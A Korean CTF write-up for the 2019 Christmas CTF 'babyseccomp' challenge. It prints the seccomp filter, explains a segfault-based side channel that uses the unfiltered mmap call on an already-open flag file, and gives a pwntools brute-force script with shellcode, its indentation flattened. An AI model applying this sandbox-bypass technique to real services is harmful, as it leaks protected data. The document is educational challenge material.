2019 Christmas CTF babyseccomp
- Error based shellcoding
- mmap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x19 0xc000003e if (A != ARCH_X86_64) goto 0027
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x25 0x17 0x00 0x40000000 if (A > 0x40000000) goto 0027
0004: 0x15 0x16 0x00 0x0000003b if (A == execve) goto 0027
0005: 0x15 0x15 0x00 0x00000142 if (A == execveat) goto 0027
0006: 0x15 0x14 0x00 0x00000002 if (A == open) goto 0027
0007: 0x15 0x13 0x00 0x00000101 if (A == openat) goto 0027
0008: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0027
0009: 0x15 0x11 0x00 0x00000011 if (A == pread64) goto 0027
0010: 0x15 0x10 0x00 0x00000013 if (A == readv) goto 0027
0011: 0x15 0x0f 0x00 0x00000127 if (A == preadv) goto 0027
0012: 0x15 0x0e 0x00 0x00000147 if (A == preadv2) goto 0027
0013: 0x15 0x0d 0x00 0x00000001 if (A == write) goto 0027
0014: 0x15 0x0c 0x00 0x00000012 if (A == pwrite64) goto 0027
0015: 0x15 0x0b 0x00 0x00000014 if (A == writev) goto 0027
0016: 0x15 0x0a 0x00 0x00000128 if (A == pwritev) goto 0027
0017: 0x15 0x09 0x00 0x00000148 if (A == pwritev2) goto 0027
0018: 0x15 0x08 0x00 0x00000028 if (A == sendfile) goto 0027
0019: 0x15 0x07 0x00 0x00000038 if (A == clone) goto 0027
0020: 0x15 0x06 0x00 0x00000039 if (A == fork) goto 0027
0021: 0x15 0x05 0x00 0x00000065 if (A == ptrace) goto 0027
0022: 0x15 0x04 0x00 0x00000029 if (A == socket) goto 0027
0023: 0x15 0x03 0x00 0x0000002b if (A == accept) goto 0027
0024: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0027
0025: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x00000000 return KILL
prctl을 이용해서 seccomp rule 설정하고 /flag를 open해놓는다. 그리고 0x1000만큼 쉘코드를 입력해서 실행해준다. 필터링은 위에처럼 되어있는데 이미 flag를 open했으니까 mmap은 필터링 안되어있어서 1글자씩 브포해주면 된다. Segfault 뜨는걸 이용해서 Error Based Shellcoding을 해준다.
exploit.py
from pwn import *
import string
context.arch = 'amd64'
flag = ''
# mmap(0,0x1000,PROT_READ,MAP_SHARED,3,0)
for i in range(100):
for j in string.printable:
p = process('./babyseccomp')
print j
s = '''
mov rdi, 0
mov rsi, 0x1000
mov rdx, 1
mov r10, 1
mov r8, 3
mov r9, 0
mov rax, 9
syscall
mov rsi, rax
test:
mov bl, BYTE PTR[rax+{}]
check:
mov cl, {}
cmp bl, cl
mov rax, 0xdeadbeef
jne test
jmp loop
loop:
jmp loop
'''.format(i,ord(j))
p.sendafter(':',asm(s))
try:
p.recvuntil("Seg", timeout=1)
print 'Correct'
flag += j
print flag
if j == '}':
exit(0)
p.close()
except:
print('fail')
p.close()
print flag
p.interactive()